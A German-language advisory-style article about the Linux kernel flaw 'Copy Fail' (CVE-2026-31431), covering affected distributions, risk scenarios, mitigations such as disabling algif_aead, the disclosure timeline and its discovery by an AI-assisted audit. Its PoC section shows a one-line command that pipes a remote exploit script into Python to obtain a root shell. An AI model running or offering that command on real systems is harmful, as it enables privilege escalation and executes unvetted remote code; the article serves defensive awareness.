← Zurück zur Liste

732 Bytes, die alle Linux-Systeme treffen: Epische Schwachstelle fast zehn Jahre unentdeckt

itadol5j

Copy-Fail-Schwachstelle

🚨 Epische Schwachstelle: 732 Bytes treffen alle Linux-Systeme, fast zehn Jahre unentdeckt

Eine„Copy Fail“genannte Linux-Kernel-Schwachstelle (CVE-2026-31431) wurde öffentlich offengelegt:

  • Ein 732 Bytegroßes Python-Skript
  • ist zu 100 % zuverlässig, ohne Race-Condition-Fenster oder Kernel-Offsets
  • Betrifft alle Linux-Distributionen(seit 2017)
  • Container-Escape-Primitive, Angriffe über Mandantengrenzen hinweg
  • Fast zehn Jahre unentdeckt, öffentlich gemacht am 29. April 2026

Dasselbe Skript funktioniert aufUbuntu, RHEL, Amazon Linux und SUSE– ganz ohne Anpassungen.

🎯 Kern der Schwachstelle

Ein einziger Logikfehler

Copy Fail ist eingeradliniger Logikfehler:

  • Kein Race-Window nötig: Anders als die meisten Linux-LPEs erfordert sie keine Race Condition
  • Keine Kernel-Offsets nötig: Keine kernelspezifischen Offsets erforderlich
  • 100 % zuverlässig: funktioniert jedes Mal
  • Dasselbe Skript: funktioniert auf allen Distributionen

Exploit-Kette

Die Angriffskette von Copy Fail:

  • authencesn-Logikfehler: ein Logik-Bug
  • AF_ALG: über die Kernel-Crypto-API
  • splice(): verkettete Aufrufe
  • 4 Byte Page-Cache-Schreibzugriff: das finale Angriffs-Primitive
  • Fast zehn Jahre ausnutzbar: von 2017 bis zur Veröffentlichung des Patches

📊 Betroffener Umfang

Offiziell verifizierte Distributionen

Distribution Kernel-Version Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verifiziert
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verifiziert
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verifiziert
SUSE 16 6.12.0-160000.9-default ✅ Verifiziert

Weitere betroffene Distributionen

Auch folgende Distributionensind betroffen:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Embedded Linux

Fazit: Wurde Ihr Kernel zwischen 2017 und dem Patch gebaut –sind Sie betroffen.

💡 Hochriskante Szenarien

Szenario Risiko Auswirkung
Multi-Tenant-Linux-Hosts Hoch Jeder Benutzer wird root
Kubernetes-/Container-Cluster Hoch Angriffe container- und mandantenübergreifend
CI-Runner / Build-Farm Hoch PRs werden root auf dem Runner
Cloud-SaaS mit Benutzercode Hoch Mandant wird root auf dem Host
Standard-Linux-Server Mittel Interne LPE, zu Angriffsketten kombinierbar
Ein-Benutzer-Laptop Niedrig Schritt zur Rechteausweitung nach der Kompromittierung

🔧 Gegenmaßnahmen

Option 1: Kernel aktualisieren (empfohlen)

Aktualisieren Sie den Kernel auf eine Version, diemainline commit a664bf3d603denthält:

  • Inhalt der Korrektur: Rückgängigmachung der In-place-Optimierung von algif_aead aus dem Jahr 2017
  • Wirkung: Page-Cache-Seiten erscheinen nicht mehr in der schreibbaren Destination-Scatterlist
  • Status: Die meisten gängigen Distributionen haben bereits Patches veröffentlicht

Option 2: Modul algif_aead deaktivieren (Übergangslösung)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Auswirkungen der Deaktivierung von algif_aead

Komponente Auswirkung
dm-crypt / LUKS Keine Auswirkung
kTLS / IPsec Keine Auswirkung
OpenSSL / SSH Keine Auswirkung
AF_ALG-Userspace Möglicherweise betroffen

Fazit: Für die meisten Systeme hat das Deaktivieren von algif_aeadkeine spürbaren Auswirkungen.

Option 3: AF_ALG per seccomp blockieren

Für nicht vertrauenswürdige Workloads (Container, Sandboxes, CI) blockieren Sie die Erstellung von AF_ALG-Sockets über seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC-Demo

Der PoC zur Schwachstelle ist öffentlich verfügbar, damit Verteidiger ihre Systeme überprüfen können:

Schnellstart

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC-Details

  • Dateigröße: 732 Bytes
  • Sprache: Nur Python-3.10+-Standardbibliothek (os, socket, zlib)
  • Standardziel: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Warnung: Das Skript verändert den Page Cache des setuid-Binaries; die Änderungen überstehen keinen Neustart, aber die Root-Shell ist real. Nicht in Produktionsumgebungen ausführen.

📅 Zeitlinie der Offenlegung

Datum Ereignis
2026-03-23 Meldung an das Linux-Kernel-Security-Team
2026-03-24 Erste Bestätigung
2026-03-25 Patchvorschlag und Review
2026-04-01 Patch in den Mainline eingebracht
2026-04-22 CVE-2026-31431 zugewiesen
2026-04-29 Öffentliche Offenlegung

🔍 Entdeckt von: Xint Code

Die Schwachstelle wurde vonXint Codeentdeckt:

  • Scan-Dauer: rund 1 Stunde Scan des Linux-crypto/-Subsystems
  • Fundmethode: KI-gestützte Code-Audit
  • Vollständige Analyse: Root Cause, Diagramme, Operator-Prompt
  • Weitere Funde: Gleichzeitig weitere Schwachstellen mit hoher Schwere entdeckt, noch in koordinierter Offenlegung

Track Record von Xint Code

  • 0-Day-RCE: ZeroDay Cloud, Schlag gegen die Datenbank-Kategorie (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: Finale der DARPA AI Cyber Challenge
  • DEF CON CTF 9×: erfolgreichstes Team in der Geschichte des DEF CON CTF

📝 Fazit

Copy Fail (CVE-2026-31431) ist eineepische Linux-Kernel-Schwachstelle:

  • 732 Bytes treffen alle Linux-Systeme (seit 2017)
  • 100 % zuverlässig, ein einziger Logikfehler
  • Container-Escape, Angriffe über Mandantengrenzen hinweg
  • Fast zehn Jahre unentdeckt, öffentlich seit dem 29. April 2026
  • Hochriskante Szenarien: Multi-Tenant-Hosts, Container-Cluster, CI-Runner, SaaS
  • Gegenmaßnahmen: Kernel aktualisieren oder algif_aead deaktivieren
  • Entdeckt von: Xint Code, KI-gestützte Code-Audit

Eine epische Schwachstelle aus fast zehn Jahren – ein Skript trifft alle Linux-Systeme.

Offizielle Website der Schwachstelle:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Technische Analyse:https://xint.io/blog/copy-fail-linux-distributions

Kernel-Patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5